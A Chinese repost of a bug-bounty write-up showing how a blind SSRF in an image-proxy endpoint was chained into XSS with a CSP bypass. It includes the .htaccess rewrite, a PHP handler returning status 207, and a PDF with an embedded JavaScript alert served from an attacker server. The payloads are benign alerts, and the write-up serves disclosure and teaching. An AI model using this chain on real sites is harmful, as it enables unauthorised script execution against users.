目标网站存在该端点:https://site.com/proxy?source=http://imgeurl.com/profile.png?size=20px
参数proxy?source=
的功能是根据source
后的内容获取图片,并通过size
参数调整图片大小。起初,我使用Collaborator工具测试了SSRF攻击(https://site.com/proxy?source=http://xxxx.oastify.com),成功收到了响应:
但响应代码是“403 Forbidden”,表明该攻击仅有低影响(Blind SSRF):
表面上看,参数似乎只接受白名单中的URL,但事实上,服务器仍然执行了请求并返回了Collaborator的结果,这意味着并没有真正的URL过滤。
接下来,我尝试将XSS的载荷注入到.png
图像文件中,并查看是否能在浏览器中触发XSS警报:
响应状态码为“200 OK”,但未触发 XSS Payload。这是由于文件扩展名为.png
,即使服务器返回了 200 响应,浏览器也不会解析其中的 JavaScript 代码。
因此,我决定将攻击载荷伪装为图像文件,而实际以 PHP 文件形式运行。
首先,我在自己的服务器上创建了一个目录,并通过.htaccess
文件将所有.png
扩展名的文件重定向为 PHP 文件:
RewriteEngine On
RewriteRule ^(.+).png$ image.php
然后,我创建了一个image.php
文件,内容如下:
<html>
<script>alert(1)</script>
</html>
这样子,当目标网站访问我服务器上的 image.png 后,会被我的服务器重定向至 image.php,进而执行我的 XSS Payload。
但再次请求时,收到了 403 错误:
经过分析,我判断目标网站可能检查了文件的内容,阻止了非图片文件的请求。
我尝试将服务器上的 image.php 文件状态代码更改为207:
http_response_code(207);
<html>
<script>alert(1)</script>
</html>
继续通过该参数访问image.php:
可以看到,成功访问到了资源,但为什么没有弹窗呢?分析控制台的请求,我发现目标站点存在内容安全策略(CSP),其策略依赖于sha256-hash
来防止内联脚本执行:
由于没有可用的端点允许绕过CSP直接注入脚本,我决定利用PDF文件作为载体,突破CSP限制(CSP主要针对网页内容,而不是PDF文件的内嵌脚本)。
首先,我创建了一个带有 JavaScript 的PDF文件test.pdf
,内容如下:
%PDF-1.7
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R
2 0 obj
<</S /JavaScript /JS (app.alert("XSS"))
trailer <</Root 1 0 R>>
接着,仍然是修改.htaccess
文件,将.png
扩展名的文件重定向到PHP文件。
我修改了image.php
,使其读取并显示PDF文件的内容:
http_response_code(207);
$pdfFile = 'test.pdf';
if (file_exists($pdfFile)) {
header('Content-Type: application/pdf');
header('Content-Disposition: inline; filename="' . basename($pdfFile) . '"');
header('Content-Length: ' . filesize($pdfFile));
readfile($pdfFile);
exit;
} else {
echo "File not found.";
}
此后,目标网站的端点访问我服务器上的image.png
时,我的image.php
被执行,从而触发 PDF 文件的 XSS 代码:
原文出处:
https://cyh1337.medium.com/blind-ssrf-low-impact-to-xss-bypass-csp-ba0210bbe53f
原文始发于微信公众号(玲珑安全):盲SSRF+CSP绕过实现XSS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论